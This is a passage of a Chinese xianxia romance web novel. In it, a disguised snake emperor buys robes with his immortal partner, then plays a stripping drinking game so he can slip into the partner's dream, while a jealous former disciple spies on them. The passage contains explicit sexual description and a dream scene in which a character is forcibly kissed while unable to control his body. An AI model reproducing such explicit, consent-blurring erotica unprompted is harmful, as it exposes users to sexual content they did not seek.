千机上一次从白玉京这里骗钱没骗到反挨了一顿打,他实在是挨怕了,这次说什么也不愿意收两人的灵石。 眼看白玉京不怀好意,玄冽却熟视无睹,直接对千机道:“报价。” 千机闻言斟酌道:“那、那就……一千上品灵石便好。” ——这老王八上次给他推销的那个保生女儿的巫药还要十万灵石,如今居然只要一千灵石,当真是一本万利! 白玉京心下暗骂,面上却甩给他五万上品灵石,闻声道:“烦请大巫收下,多余的部分就当是祭品了。” 千机还想推辞,耳边便响起了白玉京阴森无比的神识传音:【帮我占卜一下青羽目前的情况,敢忘了就掀了你的乌龟壳。】 “……!” 【还有,】白玉京凶恶地补充道,【敢说漏嘴让玄冽发现,你下一纪的龟壳也别想要了!】 千机连忙道:【……是是是,老朽明白,还请陛下放心。】 暂时解决完祈星石的事,白玉京再没其他借口,出了巫山殿便只能乖乖地被玄冽拽去买衣服了。 他面上洋溢着惊喜之情,依在玄冽怀中不住地夸赞着对方,心下则暗暗撇嘴道,这石头面上装得道貌岸然,其实绝对有某种打扮老婆的恶劣癖好。 ……下流的王八蛋,本座还不知道你了。 太微世界算是九天大世界中最大的一处,三千星辰宛如流砂般散在世界各处,每一处单独的星辰便足有一个小世界那么大。 白玉京搂着玄冽胳膊站在星辰之间,一眼扫过去看得眼花缭乱,也分辨不出哪家的纱衣材质更好,最终,他随手指了一处:“就那家吧,看着好看点。” 玄冽点了点头,拥着他落在那家星纱坊前。 说起来,此处不过是一处贩卖星辰纱的普通制衣坊,可从外面看去,其磅礴浩瀚的气势却足以匹敌小世界的某些宗门。 白玉京抬眸看向面前华贵异常的星纱坊,忍不住挑了挑眉:“这地方非同一般啊,今日怕是要让仙尊出血了。” 玄冽垂眸看了他一眼:“你尽管挑便是。” ……大言不惭的臭石头。 两人说话间,坊主亲自从坊内迎了出来,满面喜色地行礼道:“仙尊与贵客大驾光临,小舍蓬荜生辉。” 白玉京拥着人扬了扬下巴:“坊主不必多礼。” 然而,在众人均未察觉的角落,一个带着鎏金面具的化神期修士听到白玉京的声音后突然一顿,蓦地抬眸看向此处,眼底尽是不可思议。 师尊……!? 来自天外之物的屏蔽让白玉京分毫未察觉到那道目光的窥视,搂着玄冽的胳膊便把人拽进了星纱坊。 那戴着面具的修士见状面色一凝,随即竟抬脚跟了进去。 大世界不同于小世界,星纱坊的坊主显然见过世面,眼见着玄天仙尊亲临,她却能依旧保持得体,不卑不亢道:“敢问两位今日前来,是想采买何种缎料?” 玄冽直接了当道:“星辰纱。” 坊主继续道:“二位是需要成衣还是纱缎?” 玄冽看向白玉京,白玉京问道:“在你家买了星纱缎,可直接在此量体裁衣吗?” 坊主笑道:“自然可以。” 白玉京略显满意地点了点头道:“那便先选纱缎吧,形制等下根据纱料再做决定。” 区区一个金丹妖修,开口便要根据他们家的纱料定夺形制,坊主闻言一顿,话中不由得染上了几分谨慎:“是。” 说着,她拔下头顶的金叉在身后一划,便出现了一道星空裂缝:“小店一楼皆是凡品,还请两位贵客同妾身前往顶楼。” 白玉京点了头,没等玄冽同意,便直接拉着人迈进那处裂隙。 坊主见状一怔,随即连忙跟了上去。 然而,就在星空裂隙即将闭合的刹那,那个面戴鎏金面具的化神修士却闲庭信步地从一众侍者间穿过去,最终,他一脚踏入即将消散的裂隙,整整一层的修士却对此毫无察觉。 星纱坊顶层,坊主带着白玉京二人走到一处纱阁站定,侧身介绍道:“这里便是我店最上等的纱料了,只是不知可否入得了贵客法眼。” 白玉京挨个扫过去,却见那些料子确实不错,皆是流光溢彩、如梦似幻的颜色,他于是抬眸看向玄冽:“仙尊觉得呢?哪个更好看一些?” 坊主闻言不以为意,她见过不少跟着大能来她店里采买纱料的美人,那些美人进店时不管多么娇纵,见了此等成色的星辰纱都是一惊,不敢妄自定夺,皆是眼下这般作态。 只不过,那些大能往往敷衍了事,随便选一件便结束了。 然而,让坊主万万没想到的是,堂堂玄天仙尊闻言竟当真认真地思索起来。 最终,玄冽从一众星辰纱中选了件如霞光般的浅粉色纱料:“这件衬你。” 白玉京见状一顿,眉眼间不禁染上揶揄,扭头似笑非笑地看向玄冽:“没想到仙尊居然钟情于粉色。” 玄冽并未否定,反而点了点头:“这匹的颜色,似你我初见时的色彩。” “……” 白玉京微微睁大眼睛,一下子怔在原地。 不远处,那个戴着鎏金面具的化神期修士闻言一顿,随即猛的抬眸看向这边。 玄冽神色如常地把人搂到怀中,抬眸扫过那一阁纱料,最终直接了当道:“把这些全部包起来。” “……!” 坊主一怔,随即惊喜不已地回神,连忙道:“……是。” 白玉京补充道:“将这匹粉纱按照我身上这件法衣的形制裁剪,其他的直接包起来便可。” 坊主压抑着心头喜色行礼道:“是。” 言罢,坊主挥退侍者,亲自上前为白玉京量体裁衣,最终将志好的法衣与纱料一起打包呈于两人。 玄冽见状点了点头道:“价格。” 坊主连忙报价:“一共三万五千六百上品灵石,仙尊给我三万五千灵石便可。” 玄冽点了点头,随即在坊主愕然的目光中看向怀中人。 ——包养美人居然要美人亲自掏灵石吗!? “仙尊早早地便把东西都交于我,”白玉京见状一笑,“就不怕我带着东西跑吗?” “不怕。”玄冽垂眸看向他,似有深意道,“哪怕离开,终究也会重新回到我身旁。” ……这自恋的流氓石头! 白玉京心头暗骂,红着脸接过一旁侍者递来的储物袋,往其中放了三万六千灵石,抬手递给坊主。 坊主活了上千岁,恐怕也没见过哪个渡劫大能敢把全部家当交给道侣的,更不用说区区一个金丹期小妖了。 她怔愣了三息后连忙接过储物袋,深深鞠了一躬:“欢迎二位下次光临。” * 是夜,白玉京穿着那身新裁的粉色纱衣,靠坐在软榻上,垂眸看着桌上潋滟的巫酒。 上一次,玄冽便是饮下此酒入了梦……又在梦中梦见了自己。 思及此,白玉京不由得抿了抿唇,在心下暗道,他今天倒要看看,玄冽这王八蛋到底有没有灵心,以及……这下流的石头到底在他梦里对他做了什么。 窗外竹影清风,星光浩瀚。 而在万籁俱寂的星空下,一道看不见的身影却从阴影处缓缓迈进。 然而,屋内烛光明灭,谁也未曾察觉到异样。 玄冽走进屋内,看见桌上的巫酒一顿,随即神色如常地走到软榻旁坐下。 白玉京笑盈盈道:“郎君,不……恩公,自你我初遇之日算起,至今刚好半旬,卿卿还没好好谢过你呢。” 都说无事献殷勤,非奸即诈,然而玄冽闻言仅停顿了片刻,便神色如常道:“卿卿打算如何谢我?” 美人在星光下托着下巴笑道:“这个嘛……得等您喝醉后才能告诉您,还请仙尊莫怪。”” 玄冽闻言竟点了点头:“好。” “不过,”但他紧跟着话音一转道,“想灌醉本尊,卿卿打算拿什么来换?” 白玉京早有准备,闻言一笑,抬手与他十指相扣:“仙尊喝一杯巫酒,卿卿便脱一件衣服,直到您喝醉为止……如何?” “……!?” 窗外人蓦地一怔,不可思议地僵在原地。 他做梦也没想到这种话居然能从白玉京口中说出来。 玄冽闻言眸色倏地暗了下来,抛出了另一个问题:“若是你脱无可脱呢?” ……不知道自己几斤几两的臭石头,对自己的酒量还挺自信! 白玉京心下磨牙,面上则柔声道:“那就将此替换为……仙尊的一个命令如何?” 言罢,他露出了一个势在必得的笑容,似是笃定了主意,不管今天付出什么代价,都要把玄冽灌醉,于是连称呼也跟着换了:“不过……命令只能在酒桌上生效,郎君可不能太过分。” “好。”玄冽点了点头,眸色晦暗地凝视着他,“成交。” 作者有话说: 马上小蛇就要看到梦境内容了,嘿嘿[害羞][害羞] 第30章 入梦 白玉京笑盈盈地把酒杯满上, 托着下巴看向对方:“请吧,郎君。” 他原本以为按照玄冽的脾气,会干脆利落地直接喝完, 让他接着倒下一杯。 白玉京对此乐见其成,毕竟酒这种东西喝得越快越容易上头, 巫酒也一样。 然而,让他万万没想到的是, 这人居然完全不急。 软榻之上, 二人中间放着一张琉璃做的茶几, 玄冽好整以暇地与白玉京相对而坐, 目光晦暗不明地落在他身上, 仿佛欣赏一般, 不紧不慢地饮下那杯巫酒。 ……这臭石头到他这喝花酒来了!? 玄冽放下酒杯, 游刃有余道:“该你了。” 白玉京心下咬牙切齿,面上却一笑,随即取下耳坠,轻轻放在玄冽手心。 玄冽见状一顿。 “这可是仙尊亲自为卿卿戴上的耳坠……仙尊难道要说不算数吗?” 卿卿……!? 窗外之人闻言呼吸一滞, 心下骤然掀起滔天妒忌。 无妨, 他在心中疯狂地暗示自己,无妨……妖族之名不可轻易示人, 这定是师尊随意编纂出来的假名…… 然而, 却有一道隐秘的声音宛如针尖般细细密密地扎在他心上——堂堂玄天仙尊, 当真会被一个金丹小妖用假名哄骗吗? 说不定……最开始那人告诉他的才是假名。 【警告!警告!】 【宿主灵力波动接近阈值,“隐身衣”功能即将失效!】 【请宿主尽快调整灵力!】 “……!” 沈风麟蓦然回神, 当即闭上双眼, 忍着额头暴起的青筋, 开始调息体内暴动的灵力。 这件隐身衣可以屏蔽包括渡劫期修士在内的任何窥视, 但身处其中者不能有任何灵力波动,否则隐身衣便会彻底失效。 眼下他手中只有一枚三生石,乾坤召唤阵尚未彻底完成,自己势必不是那老东西的对手,绝对不可在此暴露…… 然而,沈风麟越是如此压抑,他心头激动的思绪反而越是难以平复,连带着灵力不断在周身溢出,眼看着就要超过隐身衣所能承受的阈值。 系统警告声不绝于耳,沈风麟咬着牙僵在原地,再不敢擅动一步,只能站在离竹窗几步的距离,隐约听着其中的声响,甚至连窥视都做不到。 一定、一定是玄冽那厮给他师尊下了蛊……否则师尊绝对不会像眼下这般做派! 沈风麟记忆中的白玉京,无论是对他还是对其他人,从来都是居高临下的冷傲模样。 大部分时候那人一开口便是命令,莫说撒娇,便是软话沈风麟也没从未听他说过几句。 唯独他刚来到这个世界的时候,因为不熟悉灵力在体内流动的感觉曾彻夜发烧,白玉京于是将他半抱在怀中,哄孩子一样轻轻拍着他的背。 那一抱便是一整夜。 可如今,那样的日子再也回不去了。 清风穿过竹林,吹皱一池过往。 沈风麟双目通红,死死地攥着掌心,却不敢掐破手心——血液中逸散的灵气会直接冲破阈值,让整件隐身衣彻底失效。 因此,他只能像个藏在角落里不敢发出任何声响的过客一样,听着屋内继续传来的交谈声。 玄冽接过耳坠,反手放在琉璃几上:“自然算数。” 玉石与琉璃碰撞的清脆声格外悦耳,白玉京闻声笑着从他手中收回指尖,拿起酒壶再次为他斟满巫酒。 粉色纱衣随着他的动作绰约摇晃,胸口风情隐约可见,连那枚可爱圆润的玉蛇都能窥探一二。 然而,就是这样一副唾手可得的模样,任由玄冽将十杯酒饮下,那纱衣却依旧宛如盔甲般套在白玉京身上,半件也没脱下去。 他确实穿得单薄,纱衣之内连件里衣也未穿,奈何首饰叮铃咣当地戴了一大堆。 耳坠、手镯、金环、戒指、胸口的长生佩…… 整个人看似唾手可得,实际上却堪称固若金汤,八百年的心眼攒到一处尽数使在眼前人身上,白玉京嘴角的得意几乎都快藏不住了。 沈风麟站在窗外看不见屋内发生的一切,亦不敢动用神识窥视。 他只能听到不绝于耳的珠玉之声,越听心下的暴躁之意越浓。 不行,再这么下去,自己恐怕马上就要暴露了…… 屋内,眼见着明面上的首饰已经全部摘了下来,玄冽饮下第十一杯酒后,白玉京竟笑着探进衣襟,半晌竟不知道从哪里解下了一串苍翠欲滴的玛瑙链。 玄冽见状一顿,美人一手举着玛瑙链,一手托着下巴笑眯眯地看着他,此刻他若是把蛇尾也变出来,恐怕已经得意地摇起来了。 第十二杯酒斟上,玄冽难得没有接:“这是从哪里解下来的玛瑙?” “……” 眼见着出千被戳穿,白玉京心下暗骂这石头怎么喝了这么多杯还这么清醒,面上则将斟满酒的酒杯放下,拿起那枚还带着体温的玛瑙塞到玄冽手中。 “郎君好不解风情啊。”美人暧昧地摸上他的手,语气嗔怪道,“我听闻凡人于洞房之中,尝于胸前挂明月,以供夫君赏玩……怎么,郎君连这都不知道吗?” “……!” 窗外之人呼吸骤停,原本笼罩在他身侧的幽蓝色光幕瞬间变得通红:【警告!警告!隐身衣即将失效!】 【警告!警告!】 【隐身衣即将失效!五、四、三……】 沈风麟面色铁青,阴狠鲜红的眼底泛起了一抹难以言喻的恨意。 最终,他淬毒般回望了那扇竹窗一眼,转身含恨离去。 此刻,屋内的两人尚且不知道碍事的人已经离开。 面对美人投怀送抱般的暧昧暗示,玄冽却一眼看穿了对方的把戏,反手攥住他打算抽离的指尖:“坐过来。” 白玉京笑意一僵:“怎么,郎君还要搜身吗?” 玄冽就那么一言不发地攥着指尖看向他,似是在说——你觉得呢? “……” 白玉京心下暗骂这狗东西还真不好糊弄,面上则软着腔调撒娇道:“‘信而见疑,忠而被谤’……郎君如此怀疑我,可真是让人好生伤心啊。” 他引经据典地拉扯了半晌,玄冽听到最后终于听出了他的言下之意——搜身可以,但自己得付出一些对应的代价。 玄冽心下好笑,面上则道:“若是卿卿诓骗于我,便罚你一回。” 白玉京闻言果然不再挣扎,立刻反唇相讥道:“那若是卿卿未曾撒谎呢?郎君又待如何?” ……这么多年了,这小蠢蛇的心思还是这么好猜。 玄冽几不可见地勾了勾嘴角道:“那便算我错怪了卿卿,我自罚两杯。” “……好。”白玉京闻言眯了眯眼,“这可是郎君自己说的,不能反悔。” 言罢,他当即从榻上起身,赤着脚走到玄冽身旁,步履之间衣袂轻动,内里珠宝摇曳,声声脆响。 美人于玄冽身旁站定,侧身腰一软便坐到男人怀中,抬手勾住脖子,大大方方地敞开衣襟任人检查。 玄冽拥住人的一瞬间便猜到了什么——方才黏黏糊糊拉扯的时候,这条把心眼都往自己身上使的小蛇已经把局给做全了,只等着自己入套。 见他不说话,白玉京得了便宜还卖乖道:“郎君不是要搜身吗?怎么不动了?” 玄冽摩挲上他的腰线,闻言低头看向怀中一脸得意的小美人。 “郎君若是喝不下去就直说嘛,何必找这种借口。”白玉京黏黏糊糊地靠在他身上,轻声挑衅道,“不若先停下缓缓酒力?” 玄冽面不改色解开腰带,单手探进衣内:“不必。” “……!” 白玉京没想到他能招呼都不打一声便直接摸进来,当即呼吸一滞,腰腹不受控制地绷紧。 这装模作样的臭石头……! 玄冽顺着他的腰线往下摸去,背链、腰链、腿环、足链…… 最终,玄冽面不改色地收回已经被染湿的指尖,看着怀中人意味深长道:“难为卿卿了,打扮得如此‘庄重’。” 白玉京:“……” 美人忍着颤栗挤了一个皮笑肉不笑的表情:“郎君喜欢便好。” 眼下白玉京的打扮确实称得上一句“庄重”,为了灌醉玄冽,他几乎把自己的全部家当都给拿了出来。 比如此刻正戴在他腿根上的那条玫瑰琥珀链,他拿到手后其实只戴过一次,因为戴着实在不怎么舒服便闲置了。 如今,他秉着舍不得孩子套不着狼的理念,硬是把压箱底的玫瑰链也给拿了出来,方才走那几步路险些要了他半条命。 未曾想下了如此血本,玄冽居然还能如此游刃有余。 “是我错怪了卿卿。”那人一手搂着他,一手端起酒杯一饮而尽,随即又为自己斟上一杯,“我自罚两杯。” 白玉京面色一僵,扭头看了那壶巫酒一眼。 ……大爷的,这不对吧?千机那狗东西难不成诓他?怎么玄冽喝这酒跟喝水一样? 他心下不信邪,在玄冽一连喝了三杯后,他咬着牙脱下腰链,反手放在琉璃几上,抬手又给玄冽倒了一杯:“郎君好酒量。” 玄冽面不改色地喝了,直勾勾地看着他:“卿卿谬赞了。” “……” 又走了三旬酒,白玉京再没了先前那副游刃有余的模样,颤抖着指尖探进腿缝中,半晌解下了那串玫瑰模样的琥珀链,上面还隐约透着潋滟的水光。 至此,所有首饰尽数褪下,那些首饰在琉璃几上堆成了一座华丽的珠宝山,然而玄冽看都没看那些首饰一眼,就那么一眨不眨地看着他道:“继续。” 白玉京面色涨红,撑着桌子就要起身,却被人掐着腰按在怀中:“就在这脱。” “……” 白玉京沉默了半晌,随即在心中破口大骂不久前的自己。 ——自己到底怎么想的给石头灌酒!?脑子被驴踢了吧?! 白玉京深感自己今天干的蠢事,在过往八百年中恐怕都能排得到前列。 他咬着牙扯下腰带,颤抖着指尖褪下纱衣,如霞光般的粉色纱料层层叠叠地堆在腰腹间,瞬间露出了大片白腻。 突然,他猛地想起了自己小腹处的异样,动作一僵,玄冽见状顺着他的指尖看去。 “……!” 白玉京心肺骤停,立刻垂眸看去,好在堆在小腹处的纱衣刚好遮住了他微微隆起的小腹,再加上他怀的是蛋,又只是刚刚显怀,看着并不怎么明显。 然而,他一口气还没舒到底,便蓦地卡在喉咙中——他突然想起来了更恐怖的事。 衣衫尽褪其实不算什么,但事情已经走到了这一步,他把全副家当都给押上了,可玄冽居然还没有醉。 那么当衣衫尽褪,所有首饰也被取下后,他便失去了所有筹码,若是还要执念于灌醉玄冽一事……他便只能将主动权交于对方了。 要放弃吗……? 白玉京咬着牙在心头询问自己。 ……不行! 都说成百里者半九十,自己已经付出了这么多,怎可半途而废? 想到这里,白玉京下定决心般攥紧纱料,可他的身体却异常诚实地夹紧了双腿。 玄冽等了半天没等到下一步,见他夹腿,竟直接探手下去拨开了那点软纱。 “……!” 男人的手指宛如剖开贝类的裙边一般撩开那层软纱,露出了其中光洁圆润的珍珠。 没了布料的遮盖,那处挤压到近乎变形的白腻细肉一览无余,连上面晶莹剔透的水珠都一览无余。 白玉京原本就羞耻得脱不下去,见状更是险些背过气去,最终,他在巨大的羞意之下,索性和小时候一样,耍赖般变出了蛇尾。 雪白华丽的蛇尾刹那间铺满了自己整怀,玄冽抱着人一顿,白玉京反手把纱料扔在软榻角落,尾尖一翘便卷上对方的手腕,一副卖娇耍赖的模样。 他面上矜贵娇纵,其实心底下生怕玄冽开口就要让他变回去,更过分一些,说不定不止让他变回去,还要罚他自己分开……以供对方赏玩。 好在,玄冽见状竟什么都没说,反而又给自己倒了一杯巫酒,仰头饮下。 白玉京见状松了口气之余,不由得在心底泛起了一些夹杂着侥幸的窃喜。 ……这石头色令智昏,恐怕如今早已喝醉,不过是在强撑罢了。 然而白玉京洋洋自得之时,却忘记了一些堪称前车之鉴的旧事。 他尚是条小蛇的时候,便总喜欢这样撒娇卖乖地钻空子,一开始那人确实总顺着他的意思惯着他。 只不过,当他被人惯得越发娇纵,最终犯了更大的错误时,可怜又无知的小蛇便会因此落入那人早就设好的陷阱,从而遭受到更严厉的“处罚”。 只可惜,白玉京向来记吃不记打,眼下也一样。 玄冽一边欣赏着怀中人劫后重生般的喜悦,一边不紧不慢地喝下第二十五杯酒,而后才终于抛出了第一个命令:“把长生佩戴回去。” “……?” ……这么简单?这人终于把脑子喝麻了? 白玉京心下窃喜,连忙拿起玉蛇佩重新戴在胸口。 圆润可爱的小蛇坠在白腻的胸口,随着美人斟酒的动作微微摇曳,一下子把眼前的画面衬得更加情靡起来。 但很快,白玉京便意识到了玄冽这王八蛋的险恶用心。 “把玉镯戴回去。” “耳坠。” “腰链。” “足链。” “背链。” “……” 随着玄冽的命令,先前脱下去的首饰,一件件重新戴回了美人光.裸漂亮的躯体上。 白玉京僵着蛇尾,终于后知后觉地从心底泛起了一股巨大的难堪。 当真赤身裸.体对他来说其实倒没什么,毕竟他从小就是条不爱穿衣服的小蛇,为此刚化形的时候没少被那人教训。 然而,当他在一.丝.不.挂的情况下再次戴上那些首饰后,羞耻感却如同雨后春笋般冒出,裹挟着他向下拽去。 不、不对…… 自己好像个被人用来亵玩观赏的首饰架子…… 巨大的物化感让白玉京忍不住呜咽出声,然而,没等他开口求饶,下一刻,玄冽的命令便让他不可思议地睁大了眼睛。 “坐上去。” 那人说着,拍了拍两人面前的琉璃几。 “……” 白玉京面色爆红,整个人羞耻得仿佛要就地蒸发。 这王八蛋快喝醉了……再忍一下,再忍一下…… 他带着巨大的信念深吸了一口气,撑着身后的琉璃几起身,忍着羞耻坐在上面。 “把手展开。” “……” 美人颤抖着眸色别开脸,缓缓移开挡在胸前的手,撑在身后的桌面上,以便眼前人观赏。 王八蛋……你给本座等着! 玄冽端起酒杯,喝下不知道第几杯酒后,扭头意味深长地看向桌子上的最后一颗玛瑙:“据卿卿方才所言,这枚玛瑙原本应该坠在哪里?” 白玉京:“……” 方才为了哄人喝酒信口开河撒出去的谎,此刻一下子打在了白玉京自己脸上。 他冒着烟在原地僵了片刻,突然把玛瑙丢到一旁,豁出去一般端起酒杯,闭上眼仰头一饮而尽。 玄冽见状一顿,下一刻,金玉满身的小美人按着他的肩膀一扑,整个人撞在他怀中,霸道无比地便吻了上来。 “郎君,好郎君……求求郎君饶了卿卿吧……”白玉京拥着他的脖子,掐着自己都恶心的嗓音,软着腔调撒娇道,“卿卿喂你好不好?” 说着,他甚至还拿起玄冽的右手,侧脸奶猫般在上面蹭了两下。 这一套姿态下来,莫说只是一壶巫酒,便是一整坛的鸩毒,玄冽恐怕也咽得下去。 “好。” 美人在怀,温唇软舌供奉下,一杯杯巫酒下肚。 终于,玄冽放下空空如也的酒杯,支着额头缓缓闭上了眼。 白玉京从小是个非常有教养的小蛇,向来不爱说脏话。 可眼下,被人亲到舌根发麻,从尾尖到胸口都被人亵玩了个透彻后,他终于再忍不住在心中爆起了粗。 ……干他大爹的,总算把这石头给灌醉了! 白玉京没好气地把人扔在榻上,侧身一屁股坐在对方怀中,金玉脆响间,垂眸恶狠狠地看向对方。 ……好你个下流的王八蛋,落到本座手里,今晚要你好看! 他凶恶地从头开始打量身下人,不过看着看着,眼神中便染上了几分夹杂着好奇的跃跃欲试。 ……传闻都说,完全没有灵心的灵族与石头无异,那只有半颗灵心的灵族呢?中用吗?还是只有寻常人一半的时间? 白玉京居高临下地看着玄冽,面色间尽是高深莫测。 ……算了算了,想这些有的没的干什么。 这臭石头能不能人事跟自己有什么关系,还是正事要紧。 他甩了甩头,打消了诸多不可名状的念头,抬手勾开玄冽腰带,一件件脱下对方的衣服。 然而,随着那具原本被伤痕划开却依旧精壮无比的身躯缓缓展现在眼前时,白玉京忍不住舔了舔嘴唇,瞬间便忘了自己的初衷。 反正夜色还长,这么多酒灌下去,就是再硬的石头,一时半会儿也不可能醒过来。 如此难得的机会……何必急于一时呢? 拖着雪白蛇尾的美人缓缓俯身,发丝顺着那张秾艳的脸颊滑落,尽数洒在身下人英俊而锋利的脸侧。 所以……玄冽的梦中,到底会有什么呢? 小美人歪着头恶劣地笑了一下,愉悦地摇了两下蛇尾后,低头贴上对方眉心,一阵白光蓦然在屋内泛起。 梦境的壁垒往往与梦主的神识强度有关,玄天仙尊的神识强度,恐怕是三千界中无人敢挑战的存在。入梦的巨大眩晕感铺天盖地袭来,搅得白玉京缓了良久才勉强回过神。 ……这就是玄冽的梦吗? 白玉京揉着眉心睁开眼,抬眸看向眼前富丽堂皇又无比熟悉的场景,不由得一愣。 ——是妖皇宫。 熟悉的夜明珠于穹顶处汇聚成银河,殿内金碧辉煌,气势恢宏,曾经不止一次被某人嘲讽过俗气。 既然……玄冽那厮这么嫌弃此处,他为何又会无缘无故地梦到这里? ……不对。 白玉京突然意识到了什么,连忙垂眸看向自己。 金袂华服,锦裘皓腕。 ……这是他的原身! 白玉京眉心一跳,下意识坐直身体,还没来得及细想自己为何会在对方梦中变回原本模样,便听殿外传来了一阵熟悉的脚步声。 “……!” 白玉京蓦然回首,整个人霎时僵在原地。 哪怕他深知自己正身处于玄冽梦中,哪怕他给自己做足了心理准备,告诉自己无论看到什么光怪陆离的画面,在梦中都是正常的。 可是,当他清清楚楚地看到眼前的一幕后,他还是瞳孔骤缩,刹那间泛起了一股巨大的毛骨悚然感。 为、为什么会有两个玄冽…… 作者有话说: 笨蛋小蛇送货上门[奶茶][奶茶] 第31章 惩戒 白玉京攥紧皇位上的宝石, 头皮发麻地往后缩了缩,眼底尽是恐慌与惊惧。 却见离皇位不远处的夜明珠下,竟然站着两个玄冽。 右边那个其实与白玉京清醒之时所见的玄冽并无太多差别, 白衣如雪,眉目间尽是冰冷的神色, 一如既往的正气凛然。 可左边那个却和白玉京昔日所见的玄冽截然不同,玄衣如墨, 神色晦暗阴冷, 此刻, 正一眨不眨地凝望着他。 铺天盖地的危机感兜头袭来, 白玉京根本来不及思考为什么会有两个玄冽, 只能凭借着本能, 下意识想要变出蛇尾。 然而, 他失败了。 白玉京蓦地僵在皇位上,突然意识到了什么极度可怕的事情——这不是他的梦境,作为外来者,他理应遵守梦境主人的意志。 ……不是, 凭什么!? 白玉京在心中堪称无助地质问。 为什么他在自己梦中要被玄冽摆布, 如今到了玄冽梦中,他还要受这人摆布!? 凭什么一直倒霉的都是他!?这不公平! 白玉京在心中呐喊, 可他面上居然不受控制地嗤笑一声, 抬手支着下巴慢慢道:“本座当是谁, 原来是贵客,敢问仙尊大人不请自来, 有何贵干啊?” ——为什么不能按照自己的心意说话!? 白玉京惊恐又绝望地发现, 身为外来者, 别说操控梦境, 他甚至连扮演梦境中的角色都做不到,只能按照梦主的心意,做一个被装在人偶壳子里的倒霉蛋。 身着白衣的“正常”玄冽闻言神色淡淡道:“本尊偶然路过,前来提醒妖皇大人一句,七煞鬼乃是大凶之兆,不是你这种蠢蛇能养得明白的。” 听到对方骂自己蠢,白玉京第一反应就是恼羞成怒,过了半晌才想起来对方所说的七煞鬼指的是谁——这说的是他二百年前从隔壁鬼界中捡回来的那个小鬼。 那鬼修死前的年龄并不大,十六岁便被他父亲的仇家杀了满门,连带着他也被砍了头。 白玉京在鬼界的冥海里捡到了那小鬼的头,觉得他可怜,便帮他找到身体把头给拼了上去。 小鬼姓连名衡,把头拼上后其实是个模样挺清秀孩子,只是有些阴郁不爱说话。 白玉京听完他的经历后慈爱之心泛滥,便忍不住将他捡了回来,奈何养了不到一个月就被玄冽得知此事,于是就有了眼下这出玄冽特意上门只为提醒他提防白眼狼的故事。 当时的白玉京只觉得这人故意上门是为了嘲讽自己,但二百年后的今天再回首往事,他不得不承认,其实玄冽说的是对的。 连衡那小鬼的身世并非他自己描述得那么简单——他父亲根本没有什么仇家,那个屠了他家满门的所谓仇家不是别人,正是他自己。 后来,玄冽一语成谶,白玉京不信邪地将那小鬼继续留在身旁,又养了不到一个月便出了事——这小鬼居然妄图把他做成阴阳傀。 所谓阴阳傀实际上是鬼修的一种邪术,完整的阴阳傀在白日时为阳傀,与活人无异,可供主人驱使行凶;在夜晚则为阴傀,专供主人采补。 炼制阴阳傀的手段格外残忍,需要用七枚魂钉将人钉住,却不可钉死,白日需用烈火灼烧,夜晚则需用精血温养,七七四十九天后,便能炼成阴阳傀。 思及此,白玉京在心底倏地沉默了。 他这辈子养的白眼狼实在是太多了,若不是玄冽在梦中提起这事,他都快忘了还有连衡这个人。 那小鬼虽然称得上一句天赋卓绝,也确实足够心狠手辣,为了修炼连亲爹亲妈都敢杀,甚至他自己的脑袋都是他自己切下来的,可天下强者如过江之鲫,他区区一个七煞鬼想暗算通天妖皇,最终的结果自然是自寻死路。 虽然自己毫发无损,但事发那一天还是把白玉京气得够呛,原因无他——那小鬼自以为做足了准备,居然在宋青羽一百岁的诞辰宴上,当着玄冽在内所有人的面对自己下了手。 白玉京当时险些被气晕过去,要知道他在一个月之前,也就是此刻梦境复现的这一天,才和玄冽信誓旦旦地说过连衡不可能做出这种事,未曾想转眼间便被那小鬼打了脸。 暴怒之下,白玉京在众目睽睽中悍然出手,直接打散了那白眼狼的三魂七魄。 时至今日,他已经记不清那小鬼临死前是何等模样了,只记得玄冽当时在宴会上嘲讽他的那句:“相较于愚蠢的天赋,你万里挑一也能选中白眼狼的本事,倒是更让本尊叹服。” 白玉京半点身体上的伤害没受到,却在精神上被人嘲讽得七窍生烟,险些在女儿的生辰宴上和玄冽打起来。 但眼下,梦中的他却对即将到来的背叛一无所知,更像是瞎了眼一样,压根没看到自己宫殿内还站了一个玄冽。 白玉京完全控制不住,只能任由自己不紧不慢地冷笑道:“仙尊身为正道魁首,见不得我们这些妖鬼之流也是正常。” “我与阿衡一见如故,和仙尊您却有些……道不同不相为谋了。” ……求你了,大哥,快闭嘴吧!别再说了! 白玉京终于切身体会到了自己当时蠢蛋一样的脑子,只恨不得掐着自己的脖子让自己闭嘴。 身着白衣的玄冽闻言只是淡淡地看了他一眼,似是已经被白玉京呛习惯了,并不为所动。 然而,在白玉京惊恐的目光中,那玄衣之人却突然抬脚向他走了过来。 等等……这人想干什么……! 白玉京心下的恐惧之情蓦然达到了巅峰。 别、别过来……! 那人在白玉京身旁站定,垂眸看着眼前矜傲而娇艳的妖皇,以一种森冷的语气,缓缓重复着白玉京方才所说的内容:“道不同,不相为谋?” 不是……这个玄冽怎么也会说话?! 下一刻,在白玉京无声的呐喊中,对方竟抬手掐住他的脸颊,硬生生将他从皇位上拽得悬空了一些,而后,低头凶狠无比地吻了上来。 “——!” 围在颈侧的绒裘随之从脖子上滑落,露出了吞咽不及时的喉结和一小截不住颤栗的锁骨。 凶狠而暧昧的水声在妖皇殿内回响,配上远处那个一言不发的白衣玄冽,场面要多荒谬有多荒谬。 一吻毕,白玉京被亲得舌尖发软,整个人颤抖着瘫坐皇位上,大脑一片空白,连震惊这种最基本的情绪甚至都有些产生不了了。 他面上因为梦境的设定,依旧保持着那副桀骜不驯的妖皇模样,奈何嘴已经被亲肿了,领口大开,毫无妖皇威严,反而像是个被玩弄得凌乱,却依旧对此一无所知的笨蛋人偶。 此刻,白玉京心中尽是掺杂着震惊的绝望感,他终于弄明白了玄冽的意图。 这道貌岸然的石头先是分出一个自己重演当年一事,以维持他光正伟大的仙尊形象。 但于此同时,他又在巫酒的驱使下,将欲望化作另一个自己,仗着在梦中,肆无忌惮地对白玉京做着所有想做之事。 而白玉京这个自投罗网的倒霉蛋,便成了被拘束在乖巧躯壳之中的软芯,只能任人宰割,连声音都发不出来。 然而灵族没有灵魂,哪怕是在梦中也不可能有身外化身。 所以,这两个都是玄冽,白玉京近乎崩溃地在心中承认,连气味都一模一样,自己的身体根本不可能分辨出来。 甚至,他能清楚地感受到……自己那丢人的身体生怕没办法同时满足两个丈夫,已经开始谄媚地做准备了。 远处的玄冽继续演绎着当年事,冷冷道:“妖皇陛下把鱼目作明珠的本事,实在让本尊钦佩。” 不要跟他犟嘴——! 